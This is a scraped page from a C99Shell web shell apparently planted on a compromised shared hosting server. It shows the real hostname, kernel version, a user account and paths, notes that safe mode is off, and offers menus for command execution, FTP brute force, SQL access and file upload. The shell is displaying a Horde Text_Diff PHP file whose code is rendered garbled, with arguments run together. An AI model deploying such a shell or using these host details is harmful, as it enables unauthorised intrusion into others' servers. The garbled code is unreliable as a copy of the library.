!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-inc/Text/Diff/Engine/   drwxr-xr-x
Free 293.14 GB of 429.69 GB (68.22%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     xdiff.php (2.16 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the xdiff PECL package (http://pecl.php.net/package/xdiff)
 * to compute the differences between the two input arrays.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see http://opensource.org/licenses/lgpl-license.php.
 *
 * @author  Jon Parise <jon@horde.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_xdiff {

    
/**
     */
    
function diff($from_lines$to_lines)
    {
        
array_walk($from_lines, array('Text_Diff''trimNewlines'));
        
array_walk($to_lines, array('Text_Diff''trimNewlines'));

        
/* Convert the two input arrays into strings for xdiff processing. */
        
$from_string implode("\n"$from_lines);
        
$to_string implode("\n"$to_lines);

        
/* Diff the two strings and convert the result to an array. */
        
$diff xdiff_string_diff($from_string$to_stringcount($to_lines));
        
$diff explode("\n"$diff);

        
/* Walk through the diff one line at a time.  We build the $edits
         * array of diff operations by reading the first character of the
         * xdiff output (which is in the "unified diff" format).
         *
         * Note that we don't have enough information to detect "changed"
         * lines using this approach, so we can't add Text_Diff_Op_changed
         * instances to the $edits array.  The result is still perfectly
         * valid, albeit a little less descriptive and efficient. */
        
$edits = array();
        foreach (
$diff as $line) {
            if (!
strlen($line)) {
                continue;
            }
            switch (
$line[0]) {
            case 
' ':
                
$edits[] = new Text_Diff_Op_copy(array(substr($line1)));
                break;

            case 
'+':
                
$edits[] = new Text_Diff_Op_add(array(substr($line1)));
                break;

            case 
'-':
                
$edits[] = new Text_Diff_Op_delete(array(substr($line1)));
                break;
            }
        }

        return 
$edits;
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0048 ]--